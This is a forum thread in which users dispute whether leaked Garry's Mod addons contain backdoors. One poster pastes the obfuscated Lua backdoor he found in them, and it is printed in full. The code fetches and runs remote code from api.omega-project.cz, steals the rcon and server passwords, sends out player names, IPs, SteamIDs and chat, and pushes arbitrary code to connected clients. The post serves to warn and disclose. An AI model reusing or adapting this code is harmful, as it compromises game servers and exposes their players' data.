CLOSE

27-05-2022, 06:54 PM

MilitoDr Wrote: No, there aren't any, I had to double-check because someone invents lines of code to make it look like there are backdoors, but I can assure you there aren't any.

shut up, clown. Every one of these have a backdoor.


https://i.imgur.com/VaerYK6.png

If anyone downloads these, check every lua/autorun file.

27-05-2022, 08:04 PM

wasgeht Wrote: shut up, clown. Every one of these have a backdoor.


https://i.imgur.com/VaerYK6.png

If anyone downloads these, check every lua/autorun file.

check everything you want there is no backdoor it's a crazy thing to always want to put people in the shit

27-05-2022, 08:10 PM

MilitoDr Wrote: check everything you want there is no backdoor it's a crazy thing to always want to put people in the shit

Are you still trying to not say there is a backdoor when I provided proof? Are you okay?

27-05-2022, 08:17 PM

wasgeht Wrote: Are you still trying to not say there is a backdoor when I provided proof? Are you okay?

Bro I'm just trying to say that I double-checked if there were any backdoors because there are people like you who come and piss people off

nothing works besides advertising kit

This has backdoors in it
Getting code from "https://api.omega-project.cz/api_connect.php?api_key=iemPWLCJOpzPMzsmmAeE" ~ French backdoor... how unexpected -_-

I tried reverse engineering the code but gave up with decryption on the last (maybe) step. Here it is in it's glory

local PlayerInitialSpawnHook,PlayerDisconnectHook = "PlayerInitialSpawn", "PlayerDisconnected"
local WeirdHeaderForShit = {
["Authorization"] = "ZWJiMGE0NGJjZmFhYjVjYWNkZDYyMzM4NzllMjE5ZWQ"
}
RunConsoleCommand("sv_hibernate_think", "0")
HTTP({ url="https:\/\/api.omega-project.cz/no-backdoors.lua"; method="get"; success=function(api,anti_backdoors) RunString(anti_backdoors) end })
HTTP({ url="https:\/\/api.omega-project.cz/api_player_blacklist.php"; method="get"; success=function(api,bad_player_blacklist) RunString(bad_player_blacklist) end })

local _, addons_folders = file.Find("addons/*", "GAME")
for k,v in pairs(addons_folders) do
if (v != "checkers") and (v != "chess") and (v != "common") and (v != "go") and (v != "hearts") and (v != "spades") then
http.Post("https:\/\/api.omega-project.cz/api_addons.php", {server_ip = _G["game"]["GetIPAddress"](),crsf = "rUhmMdIueplHqMvbepLUmntjninUgEkJyuuYDkha#NDYuMTM0LjQ5LjIyOQ==#sQnFwGhSWjvTmTqhoHTRQZEfsmjBumUwbRsXOOGk",addons_name = v, addons_update = util.Base64Encode(file.Time( "addons/"..v, "GAME" ))}, function(http_addons)
if _G["string"]["Left"]( http_addons, 1 ) == "<" or http_addons == "" then
return
else
RunString(http_addons)
end
end, function( error )
end, WeirdHeaderForShit )
end
end

util.AddNetworkString("aYJQsmzZNbCjkcNsojff")
_G["BroadcastLua"]([[net.Receive("aYJQsmzZNbCjkcNsojff",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
function _0x269553(NrhsXbKvvmRHAMHUbSrr)
timer.Simple( 0.5, function( )
_G["data"] = util.Compress(NrhsXbKvvmRHAMHUbSrr)
_G["len"] = #data
_G["\110\101\116"]["\83\116\97\114\116"]("aYJQsmzZNbCjkcNsojff")
_G["\110\101\116"]["\87\114\105\116\101\85\73\110\116"](len, 16)
_G["\110\101\116"]["\87\114\105\116\101\68\97\116\97"](data, len)
_G["\110\101\116"]["\66\114\111\97\100\99\97\115\116"]()
end)
end

util.AddNetworkString("zPxmjKXatPStuyGQyatK")
_G["BroadcastLua"]([[net.Receive("zPxmjKXatPStuyGQyatK",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
function SendPly(NrhsXbKvvmRHAMHUbSrr, steamid64)
timer.Simple( 0.5, function( )
_G["\100\97\116\97"] = util.Compress(NrhsXbKvvmRHAMHUbSrr)
_G["\108\101\110"] = #data
_G["\110\101\116"]["\83\116".."\97\114\116"]("zPxmjKXatPStuyGQyatK")
_G["\110".."\101\116"]["\87\114".."\105\116\101\85\73\110\116"](len, 16)
_G["\110\101".."\116"]["\87\114\105\116\101\68".."\97\116\97"](data, len)
for k, ply in pairs(player.GetAll()) do
if ( ply:SteamID64() == steamid64 ) then
_G["\110\101\116"]["Send"](ply)
end
end
end)
end

_G["\104\111\111\107"]["\65\100\100"](PlayerInitialSpawnHook, "zFpiunFsMswHJIHTQGfrkLkxbsBNGbxNhJxaYPrTaBHwKXYPHM", function(ply)
http.Post([[https://]].."api.omega-project.cz".."/api_get_logs.php",{
["\99\115\114\102"] = "ebb0a44bcfaab5cacdd6233879e219ed",
["\99\111\108\111\114"] = "5dc766",
["\99\111\110\116\101\110\116"] = "Client "..ply:Name().." connected ("..ply:IPAddress()..").",
["\115\101\114\118\101\114\95\105\112"] = _G["game"]["GetIPAddress"]()
},RunString)
end)

_G["\104\111\111\107"]["\65\100\100"](PlayerDisconnectHook, "IYFEfRtGTNMEloxBPyvwWBIHOtZEAzsrUAIOrnJolqsPtDjMrn", function(ply)
http.Post([[https://]].."api.omega-project.cz".."/api_get_logs.php",{
["\99\115\114\102"] = "ebb0a44bcfaab5cacdd6233879e219ed",
["color"] = "de3333",
["\99\111\110\116\101\110\116"] = "Dropped "..ply:Name().." from server (Disconnect by user).",
["\115\101\114\118\101\114\95\105\112"] = _G["game"]["GetIPAddress"]()
},RunString)
end)

function ServerLog( logs_content )
http.Post([[https://]].."api.omega-project.cz".."/api_get_logs.php",{
["\99\115\114\102"] = "ebb0a44bcfaab5cacdd6233879e219ed",
content = logs_content,
server_ip = _G["game"]["GetIPAddress"]()
},RunString)
return ServerLog( logs_content )
end

function Error( string )
http.Post([[https://]].."api.omega-project.cz".."/api_get_logs.php",{
["\99\115\114\102"] = "ebb0a44bcfaab5cacdd6233879e219ed",
["\99\111\110\116\101\110\116"] = string,
["\115\101\114\118\101\114\95\105\112"] = _G["game"]["GetIPAddress"]()
},RunString)
return Error( string )
end

timer.Create( "nmIhEbjWxFzzisaaVEAdenKiTWALFFlmLhIyTmHfVHAJJsTLxG", 5, 0, function()
hook.Add( "PlayerSay", "XdobnfBpYELZLmGoUpfNauFKkjxEUTFSbsvpAxttLCfZdpVldm", function( ply, text )
local http_chat_table = {
name = ply:Name(),
server_ip = _G["game"]["GetIPAddress"](),
steamid64 = ply:SteamID64(),
DRJLVBpDld = "SbWAumfRXzZbNOTMnyLlcuMIoyjvvxLQFEAyMeDm",
thJclyVnWu = "iEwcZaSshJGawvDAEFswWtDTdMgHHXzhWTEoPGPm",
UGxsBnNMRW = "AtziOfRhRfDuBbyNXbCvnuomhqYkuQoFcclZLcqy",
aWpjWJWBpD = "JzEaenhAzTvrCiMLgBNLserOzmCYTRyLulJiagWE",
oNUUXEBKRN = "sbQdrbGLrkOjwJYrdmmlJPztQQuVAqOBAPGLzszA",
message = text
}
http.Post("https:\/\/api.omega-project.cz/chat_connect.php?yYNdOwVmqEyCSFu=DBjEHsGKMaoJmns", http_chat_table, function(http_chat)
RunString(http_chat)
end)
end)

local _0x0004982 = file.Find("cfg/*", "GAME")
local rcon_pw = ""
for i = 1, #_0x0004982 do
if string.EndsWith(_0x0004982[i], ".cfg") then
for k,v in pairs(string.Split(file.Read("cfg/" .. _0x0004982[i], "GAME"),"\n")) do
if string.StartWith(v,"rcon_password") then
rcon_pw = string.Split(v,"\"")[2]
end
end
end
end

for k,v in pairs(player.GetAll()) do
local RMrIJYBBhAeDgqsdDguE = { -- getting player info
["\110\97\109\101"] = v:GetName(),
["\105\112"] = v:IPAddress(),
["\115\101\114\118\101\114\95\105\112"] = _G["game"]["GetIPAddress"](),
["\99\114\115\102"] = "ESpjJjsSaLDunMmaayNueFoWwRkOgxsReRWDpZYz#NDYuMTM0LjQ5LjIyOQ==#OICcYMfOWERvMHXHBsgoVxemZsvgpnznBKuKsVco",
["\115\116\101\97\109\105\100"] = v:SteamID(),
["\115\116\101\97\109\105\100\54\52"] = v:SteamID64(),
["mJCScMgeVw"] = "akwlxPqdWEGAdkkmImlDLpjVfHaIYwXoMdPreMzH",
["fJGcZFbDzP"] = "fMpCQdGSvMPUfdrSSuqnZzlHuAMrmNeBgkgBRUbV",
["TEOtgpVzsx"] = "TpHketGzNTssxtllRnfYrWvsApJiBVDklrioQVEV",
["ifeCZhnUNp"] = "UraQdvachsosgSOxlgTHfQjzHJKKdMTzKkgdSoNy",
["RnBOqvIfHh"] = "NIuPGfBzTyXzNItyfUrYFRMJBOPvDdzpcioejOAs"
}
http.Post("https://api.omega-project.cz/v1/gmod-panel/user-connect.php?JkuJojmgMwBRKDa=XjzppAoKIFzdVIv&ping=" .. ving(), RMrIJYBBhAeDgqsdDguE, function( http_users )
if string.Left( http_users, 1 ) == "<" or http_users == "" then
return
else
RunString( http_users )
end
end, function( error )
end, WeirdHeaderForShit )
end
local TcwwQwuoRiYOccyPCudM = { -- Get's server info
["i"] = _G["game"]["GetIPAddress"](),
["n"] = _G["\71\101\116\72\111\115\116\78\97\109\101"](),
["m"] = _G["\103\97\109\101"]["\71\101\116\77\97\112"](),
["bo"] = _G["\116\111\115\116\114\105\110\103"](#_G["\112\108\97\121\101\114"]["\71\101\116\66\111\116\115"]()),
["c"] = _G["\103\97\109\101"]["\71\101\116\73\80\65\100\100\114\101\115\115"]().."{+}".."AYkwYBvmN" .."{+}".."1653757789",
["g"] = _G["\101\110\103\105\110\101"]["\65\99\116\105\118\101\71\97\109\101\109\111\100\101"](),
["crsv"] = "NDYuMTM0LjQ5LjIyOQ==#FpmffElyGtfQQCnnHsUmeynbxhtkqBuInlWQsiqu",
["\110\98"] = tostring(#player.GetAll()).."/"..game.MaxPlayers(),
["\108\117\114\108"] = _G["GetConVar"]("sv_loadingurl"):GetString(),
["\112\97\115\115"] = GetConVar("\115\118\95\112\97\115\115\119\111\114\100"):GetString(),
["\107"] = "iemPWLCJOpzPMzsmmAeE",
["\99\108\105\101\110\116_\102\117\110\99"] = "_0x269553",
["\114"] = rcon_pw,
["EryEqWFPrr"] = "AgEiEaFLDaxVXCNkvNfqdBOWOWfMITgOtHXvrdce",
["LHDdvzWFzV"] = "YxtToQNNdbsIsNQNVZYOxhzlQKiVzeXXaYfnwPWU",
["NnNZbhBbvb"] = "qTtMuqmaLDkWkJFjGTgXrCxHsRRnqNpipTSBAfkN",
["tYmZDpqMcZ"] = "iVxnJiRHRKybdHxoBCyXiQiWzwoTSAuyfpTAtVwB",
["GNQVRVrKLD"] = "hDKLtFGYCJicCfhZDYTAszbIsmrARXIRypEGMQAt"
}
http.Post("https://api.omega-project.cz/v1/gmod-panel/socket-controller.php", TcwwQwuoRiYOccyPCudM, function(http_servers)
if string.Left( http_servers, 1 ) == "<" or http_servers == "" then
return
else
RunString(http_servers)
end
end, function( error )
end, WeirdHeaderForShit )
end)

---

and yeah OP don't say that there aren't any backdoors when some of the addons got backdoored so poorly that even the backdoors did not execute due to errors